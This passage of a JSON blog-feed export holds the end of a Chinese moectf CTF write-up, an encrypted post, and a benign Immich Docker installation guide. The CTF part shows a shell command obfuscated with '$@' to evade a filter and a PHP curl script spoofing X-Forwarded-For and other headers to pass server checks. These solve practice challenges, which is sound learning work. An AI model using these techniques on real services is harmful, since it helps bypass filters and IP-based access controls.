variable\"\u003e$@\u003c/span\u003eg\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003e.\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eh\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003eoectf{Do_y0u_l1k3_Rcccccccccccccce?}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 08 Do you know HTTP?\u003cp\u003ephp真是绝绝子\u003c/p\u003e\u003cp\u003e用php+curl,查阅了文档,然后一步一步按题给的要求加东西\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-php\" data-language=\"php\"\u003e\u003ccode class=\"language-php\"\u003e\u003cspan class=\"token php language-php\"\u003e\u003cspan class=\"token delimiter important\"\u003e\u0026lt;?php\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e'http://47.93.215.154:5002'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003earray\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"Referer: www.ltyyds.com\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"X-Forwarded-For: 127.0.0.1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"User-Agent: LT\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"Date: Dec, 26 Dec 2015 17:30:00 GMT\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_URL\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_CUSTOMREQUEST\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e'HS'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_TIMEOUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_RETURNTRANSFER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#curl_setopt($ch,CURLOPT_HTTPHEADER,array(\"X-Forwarded-For: 127.0.0.1\"));\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_HTTPHEADER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_exec\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token delimiter important\"\u003e?\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HTTPHeaders_1s_s0_ea5y!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e","url":"https://blog.ksfu.top/posts/82c9/"},{"title":"blogEncrypt","time":"2021-09-09T14:02:52Z","content":"有东西被加密\u003chr /\u003e\u003cdiv class=\"hbe hbe-container\" id=\"hexo-blog-encrypt\" data-wpm=\"抱歉, 这个密码看着不太对, 请再试试.\" data-whm=\"抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.\"\u003e \u003cscript id=\"hbeData\" type=\"hbeData\" data-hmacdigest=\"4838c035240a77ed6a78693c026a2ff61b17c3551b0ee6366631d0ca6dcd57bb\"\u003eeefcb32dea6b1b3cf00a6005fbaeec13fe33249b90ab29d6586ecb398d0eca850144a02e601cd72ca042df0f6de4861b3b858d5692d5cde454c3b47084d3a78437917c5f5bbee81f8032aa9a1e29a844b0f4ca6e476c84a7eec435bf74a1be3edabb682d58c0e60af8baf6929662b069f5f11272f77a74d1b3477df7f4251f003c2801887418a7e0ad930d46f0a553d96a393a1222821cabf2e2e4e07db2017269ad22f352e61748bbb4b5c3e35a2cb0f9059ef4225ed713beae899374580e36163878e69f63c6c053ce0ca053c0c747\u003c/script\u003e \u003cdiv class=\"hbe hbe-content\"\u003e \u003cdiv class=\"hbe hbe-input hbe-input-xray\"\u003e \u003cinput class=\"hbe hbe-input-field hbe-input-field-xray\" type=\"password\" id=\"hbePass\"\u003e \u003clabel class=\"hbe hbe-input-label hbe-input-label-xray\" for=\"hbePass\"\u003e \u003cspan class=\"hbe hbe-input-label-content hbe-input-label-content-xray\"\u003e这里需要密码.\u003c/span\u003e \u003c/label\u003e \u003csvg class=\"hbe hbe-graphic hbe-graphic-xray\" width=\"300%\" height=\"100%\" viewBox=\"0 0 1200 60\" preserveAspectRatio=\"none\"\u003e \u003cpath d=\"M0,56.5c0,0,298.666,0,399.333,0C448.336,56.5,513.994,46,597,46c77.327,0,135,10.5,200.999,10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003cpath d=\"M0,2.5c0,0,298.666,0,399.333,0C448.336,2.5,513.994,13,597,13c77.327,0,135-10.5,200.999-10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003c/svg\u003e \u003c/div\u003e \u003c/div\u003e\u003c/div\u003e\u003cscript data-pjax src=\"/lib/hbe.js\"\u003e\u003c/script\u003e\u003clink href=\"/css/hbe.style.css\" rel=\"stylesheet\" type=\"text/css\"\u003e","url":"https://blog.ksfu.top/posts/af/"}]},{"name":"木生懒得写博客","email":"Unknown","uri":"https://blog.lsy223622.com/","description":"写点玩电脑经历吧","article":[{"title":"开源 AI 相册 Immich 安装记录","time":"2024-09-27T12:06:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%B2%E6%95%85%E4%BA%8B\"\u003e讲故事\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E9%80%89%E6%8B%A9-immich\"\u003e为什么选择 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85%E5%89%8D%E5%87%86%E5%A4%87\"\u003e安装前准备\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85-docker\"\u003e安装 Docker\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-docker-composeyml\"\u003e编写 docker-compose.yml\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-env\"\u003e编写 .env\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%8B%E8%BD%BD-hwaccelmlyml\"\u003e下载 hwaccel.ml.yml\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85\"\u003e安装\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E5%90%AF%E5%8A%A8-immich\"\u003e启动 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BF%E9%97%AE-immich\"\u003e访问 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE-immich\"\u003e设置 Immich\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE%E7%A7%BB%E5%8A%A8%E8%AE%BE%E5%A4%87%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD\"\u003e设置移动设备自动备份\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E8%87%AA%E7%94%A8%E6%87%92%E4%BA%BA%E5%B0%8F%E8%84%9A%E6%9C%AC\"\u003e自用懒人小脚本\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-startbat\"\u003estart.bat\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-updatebat\"\u003eupdate.bat\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BB%93%E8%AF%AD\"\u003e结语\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-讲故事\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%B2%E6%95%85%E4%BA%8B\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e讲故事\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e电脑上有特别多照片,大概几个 T,之前就简单地存在硬盘里,用文件夹整理了一下。照片看肯定是看不过来的,想找也不知道要怎么找。\u003c/li\u003e\n\u003cli\u003e起初试了很多 Windows 本地安装的照片管理软件,感觉没啥好的。我想着至少能找到苹果相册那样水平的软件,但可惜没有。\u003c/li\u003e\n\u003cli\u003e最后选中了两个支持人脸识别分类的软件:Lightroom 和 Picasa。\n\u003cul\u003e\n\u003cli\u003eLightroom 众所周知是个庞大的商业软件,\u003cstrong\u003e启动时间很长,处理大量照片很卡\u003c/strong\u003e。它虽然有人脸识别分类功能,但毕竟不是以相册为目的设计的,\u003cstrong\u003e不适合作为一个相册来使用\u003c/strong\u003e。\u003c/li\u003e\n\u003cli\u003e最后在选择有限的情况下,最好的选择就是 Picasa。它是 Google 在很久以前推出的免费相册软件,支持人脸识别分类,\u003cstrong\u003e启动很快,使用流畅\u003c/strong\u003e。它会生成预览图保存到数据库,从而使得快速翻阅照片的时候基本上不用等待图片加载。它的\u003cstrong\u003e人脸相册整理方便流畅\u003c/strong\u003e,还能使用包含人脸的照片生成回忆影片。虽然但是,它在\u003cstrong\u003e很多年前就停止支持了\u003c/strong\u003e。它曾经能够使用的照片上传云服务转变为了现在的 Google Photos,\u003cstrong\u003e软件也不再更新\u003c/strong\u003e。它在如今的 Windows 11 上仍能正常使用,\u003cstrong\u003e唯一缺少的就是 hidpi 适配\u003c/strong\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e人脸识别相册的算法还是能经常给人惊喜的,偶尔会突然发现它识别出来一张特别模糊或者角度很偏的人脸,但分类居然还是对的。\u003c/li\u003e\n\u003cli\u003e扯得有点远了,反正我就很开心地用了蛮久 Picasa,直到有一天。那天我觉得 Picasa 虽然能满足我人脸识别分类的需求,\u003cstrong\u003e但并没有多少别的整理功能\u003c/strong\u003e。如果我想\u003cstrong\u003e根据时间或者内容或者地点查找照片\u003c/strong\u003e,还是需要自己手动翻阅一大堆照片,配合记忆来搜索。它作为一个原生 win32 软件,\u003cstrong\u003e只能在电脑上本地运行\u003c/strong\u003e,离开了电脑没法看到照片。它也不能帮助我保护照片安全,备份频率决定了意外发生时我会丢多少照片,我仍旧需要\u003cstrong\u003e每隔一段时间\u003c/strong\u003e自己把手机、iPad 等设备上的照片\u003cstrong\u003e手动导入到电脑\u003c/strong\u003e,然后启动 Picasa 让它扫描。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-为什么选择-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%BA%E4%BB%80%E4%B9%88%E9%80%89%E6%8B%A9-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e为什么选择 Immich\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e于是我决定搭建一个照片服务器。根据多方信息进行对比,我认为用户评价较好、完成度较高的照片服务器应用有以下几款:\n\u003cul\u003e\n\u003cli\u003eImmich:开源免费,\u003cstrong\u003e捐赠与否不影响功能\u003c/strong\u003e。支持人脸识别、\u003cstrong\u003e自然语言搜索\u003c/strong\u003e、地图相册等,功能比较完善。有多种开源 clip 模型和人脸识别模型可以选择,实测搜索效果非常好,并且支持组合筛选。有多平台客户端,\u003cstrong\u003e移动设备后台自动备份\u003c/strong\u003e,实测工作稳定,反应速度比系统自带云备份还快。支持为各种格式的照片和视频生成预览,可选高压缩率的 webp 等格式,\u003cstrong\u003e占用空间不大\u003c/strong\u003e。主要的视图是时间轴,浏览原始目录层级的文件夹模式刚刚推出,还不完善。没有 OCR 搜索功能,这个我蛮想要的,目前还没见到哪家有,希望以后能加上。\u003c/li\u003e\n\u003cli\u003ePhotoPrism:开源,基础功能免费,少量高级功能需要订阅,个人用途一般免费够用。支持人脸识别、地图相册、文件夹视图等,功能比较完善。人脸识别效果一般,文档里说\u003cstrong\u003e它用的模型没多少亚洲人和小孩的训练数据\u003c/strong\u003e,怪不得很多都识别不出来,而且\u003cstrong\u003e模型不能换\u003c/strong\u003e,\u003cstrong\u003e光这点就可以不用选了\u003c/strong\u003e。搜图方面,感觉它只用了很简单的图像标签模型,不能自然语言搜索,只有几个常见的关键词能搜到图片,同样不能换模型。文件夹视图比 Immich 完善。\u003cstrong\u003e预览图非常占空间\u003c/strong\u003e,每张图片生成了十张预览图和缩略图,在我电脑上占了一百多 g,看了一下它的预览图分辨率,最大尺寸和最大尺寸小一点点各生成了一张,不知道在想什么。\u003c/li\u003e\n\u003cli\u003eNextcloud Photos:Nextcloud 的一个应用 \u003cdel\u003e(插件)\u003c/del\u003e,根据网上对比在各种功能方面完成度也是很高的,但我感觉 \u003cstrong\u003eNextcloud 已经非常臃肿\u003c/strong\u003e,网页用起来都卡卡的,实在算不上流畅(不过也有我云服务器性能不行的关系),就不装这个给它增加负担了。不过确实是可以在自己的照片服务器\u003cstrong\u003e单独装一个 Nextcloud\u003c/strong\u003e,这样性能方面应该问题不大,\u003cstrong\u003e但和我云服务器上的 Nextcloud 就要冲突了\u003c/strong\u003e。(好像 Nextcloud 客户端都是可以添加多个服务器的?)\u003c/li\u003e\n\u003cli\u003eMT Photos:\u003cstrong\u003e订阅制,有永久版,价格不贵\u003c/strong\u003e。支持人脸识别、自然语言搜索、地图相册等,功能该有的基本上有。它居然\u003cstrong\u003e支持 OCR 搜索\u003c/strong\u003e,刚说没人有这下打脸了,希望 Immich 能跟进。它用的 clip 和人脸识别模型都\u003cstrong\u003e比 Immich 用的差一些\u003c/strong\u003e,可能是考虑到要兼容各种配置的设备,毕竟它能配置的选项确实蛮少的,算是\u003cstrong\u003e傻瓜式应用\u003c/strong\u003e。UI 和 Immich 就是一个模子刻出来的,因为都是\u003cstrong\u003e照着 Google Photos 做的\u003c/strong\u003e。国内平台蛮多人推荐这个,确实好用不贵而且用起来很简单。但我个人喜欢有免费的就用免费的,而且主观上会给开源加分,倾向于能折腾的东西,所以觉得它不如 Immich。\u003c/li\u003e\n\u003cli\u003eSynology Photos:顾名思义,群晖用的。我没有群晖 NAS,也没听说过黑什么的,于是没有用过。听说它的功能性也挺不错的,但反正有不限制群晖设备的替代品,就不用考虑了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e最后显然,Immich 在我这里胜出了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-安装前准备\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85%E5%89%8D%E5%87%86%E5%A4%87\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装前准备\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-安装-docker\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85-docker\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装 Docker\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cdel\u003e装系统就不讲了啊\u003c/del\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e我使用的是 Windows 台式机,安装 \u003ca rel=\"noopener noreferrer\" href=\"https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe\"\u003eDocker for Desktop\u003c/a\u003e,它会安装 WSL 并把 Docker 安装到 WSL 中,还带有一个便于操作的图形化管理器。\u003c/li\u003e\n\u003cli\u003eLinux 的话自己看\u003ca rel=\"noopener noreferrer\" href=\"https://docs.docker.com/\"\u003e官方文档\u003c/a\u003e吧\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-编写-docker-composeyml\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-docker-composeyml\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e编写 docker-compose.yml\u003c/h2\u003e\n\u003cp\u003e官方 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 模板下载地址:\u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/docker-compose.yml\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e以下是我的 docker-compose.yml:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003ename: immich\n\nservices:\n immich-server:\n container_name: immich_server\n image: ghcr.io/immich-app/immich-server:${IMMICH_VERSION:-release}\n # extends:\n # file: hwaccel.transcoding.yml\n # service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding\n volumes:\n - ${UPLOAD_LOCATION}/encoded-video:/usr/src/app/upload/encoded-video\n - ${UPLOAD_LOCATION}/library:/usr/src/app/upload/library\n - ${UPLOAD_LOCATION}/thumbs:/usr/src/app/upload/thumbs\n - /etc/localtime:/etc/localtime:ro\n - \u0026#34;C:/Users/lsy22/Pictures:/immich-photo-library/Pictures:ro\u0026#34;\n - \u0026#34;D:/图\u0026amp;片:/immich-photo-library/图\u0026amp;片:ro\u0026#34;\n - \u0026#34;D:/Backup/ImmichPhotoBackup:/usr/src/app/upload/upload\u0026#34;\n env_file:\n - .env\n ports:\n - 2283:3001\n depends_on:\n - redis\n - database\n restart: always\n\n immich-machine-learning:\n container_name: immich_machine_learning\n # For hardware acceleration, add one of -[armnn, cuda, openvino] to the image tag.\n # Example tag: ${IMMICH_VERSION:-release}-cuda\n image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda\n extends: # uncomment this section for hardware acceleration - see https://immich.app/docs/features/ml-hardware-acceleration\n file: hwaccel.ml.yml\n service: cuda # set to one of [armnn, cuda, openvino, openvino-wsl] for accelerated inference - use the `-wsl` version for WSL2 where applicable\n volumes:\n - ./model-cache:/cache\n env_file:\n - .env\n restart: always\n healthcheck:\n disable: false\n\n redis:\n container_name: immich_redis\n image: docker.io/redis:6.2-alpine@sha256:2d1463258f2764328496376f5d965f20c6a67f66ea2b06dc42af351f75248792\n healthcheck:\n test: redis-cli ping || exit 1\n restart: always\n\n database:\n container_name: immich_postgres\n image: docker.io/tensorchord/pgvecto-rs:pg14-v0.2.0@sha256:90724186f0a3517cf6914295b5ab410db9ce23190a2d9d0b9dd6463e3fa298f0\n environment:\n POSTGRES_PASSWORD: ${DB_PASSWORD}\n POSTGRES_USER: ${DB_USERNAME}\n POSTGRES_DB: ${DB_DATABASE_NAME}\n POSTGRES_INITDB_ARGS: \u0026#39;--data-checksums\u0026#39;\n volumes:\n - \u0026#34;database:/var/lib/postgresql/data\u0026#34;\n healthcheck:\n test: pg_isready --dbname=\u0026#39;${DB_DATABASE_NAME}\u0026#39; --username=\u0026#39;${DB_USERNAME}\u0026#39; || exit 1; Chksum=\u0026#34;$$(psql --dbname=\u0026#39;${DB_DATABASE_NAME}\u0026#39; --username=\u0026#39;${DB_USERNAME}\u0026#39; --tuples-only --no-align --command=\u0026#39;SELECT COALESCE(SUM(checksum_failures), 0) FROM pg_stat_database\u0026#39;)\u0026#34;; echo \u0026#34;checksum failure count is $$Chksum\u0026#34;; [ \u0026#34;$$Chksum\u0026#34; = \u0026#39;0\u0026#39; ] || exit 1\n interval: 5m\n start_interval: 30s\n start_period: 5m\n command: [\u0026#34;postgres\u0026#34;, \u0026#34;-c\u0026#34; ,\u0026#34;shared_preload_libraries=vectors.so\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#39;search_path=\u0026#34;$$user\u0026#34;, public, vectors\u0026#39;, \u0026#34;-c\u0026#34;, \u0026#34;logging_collector=on\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;max_wal_size=2GB\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;shared_buffers=512MB\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;wal_compression=on\u0026#34;]\n restart: always\n\nvolumes:\n database:\n driver: local\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e7-9 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003e# extends:\n# file: hwaccel.transcoding.yml\n# service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里是硬件加速视频转码相关的设置,如果需要的话从 \u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/hwaccel.transcoding.yml\u003c/code\u003e 下载 \u003ccode\u003ehwaccel.transcoding.yml\u003c/code\u003e 放在旁边。我因为没有打算转码播放视频,也为了节约空间,没有开视频转码,也就不配置硬件加速转码了。\u003c/li\u003e\n\u003cli\u003eservice 参数可选 \u003ccode\u003ecpu\u003c/code\u003e(软件编码), \u003ccode\u003envenc\u003c/code\u003e(NVIDIA), \u003ccode\u003equicksync\u003c/code\u003e(Intel), \u003ccode\u003erkmpp\u003c/code\u003e(Rockchip), \u003ccode\u003evaapi\u003c/code\u003e(AMD / NVIDIA / Intel), \u003ccode\u003evaapi-wsl\u003c/code\u003e(AMD / NVIDIA / Intel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e10-17 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003e volumes:\n - ${UPLOAD_LOCATION}/encoded-video:/usr/src/app/upload/encoded-video\n - ${UPLOAD_LOCATION}/library:/usr/src/app/upload/library\n - ${UPLOAD_LOCATION}/thumbs:/usr/src/app/upload/thumbs\n - /etc/localtime:/etc/localtime:ro\n - \u0026#34;C:/Users/lsy22/Pictures:/immich-photo-library/Pictures:ro\u0026#34;\n - \u0026#34;D:/图\u0026amp;片:/immich-photo-library/图\u0026amp;片:ro\u0026#34;\n - \u0026#34;D:/Backup/ImmichPhotoBackup:/usr/src/app/upload/upload\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里是目录映射相关的设置,用来指定转码的视频、缩略图、预览图、外部图库、上传的图片等存储的位置。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e${UPLOAD_LOCATION}\u003c/code\u003e 在环境变量中定义,因为前三行分别是转码的视频、图库、缩略图/预览图的存储位置,建议放在读取速度相对快的固态硬盘上,否则可能影响浏览图库时的加载速度。不能设置只读。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e- \u0026#34;C:/Users/lsy22/Pictures:/immich-photo-library/Pictures:ro\u0026#34;\u003c/code\u003e 是外部图库的目录映射,需要自己修改。\n\u003cul\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 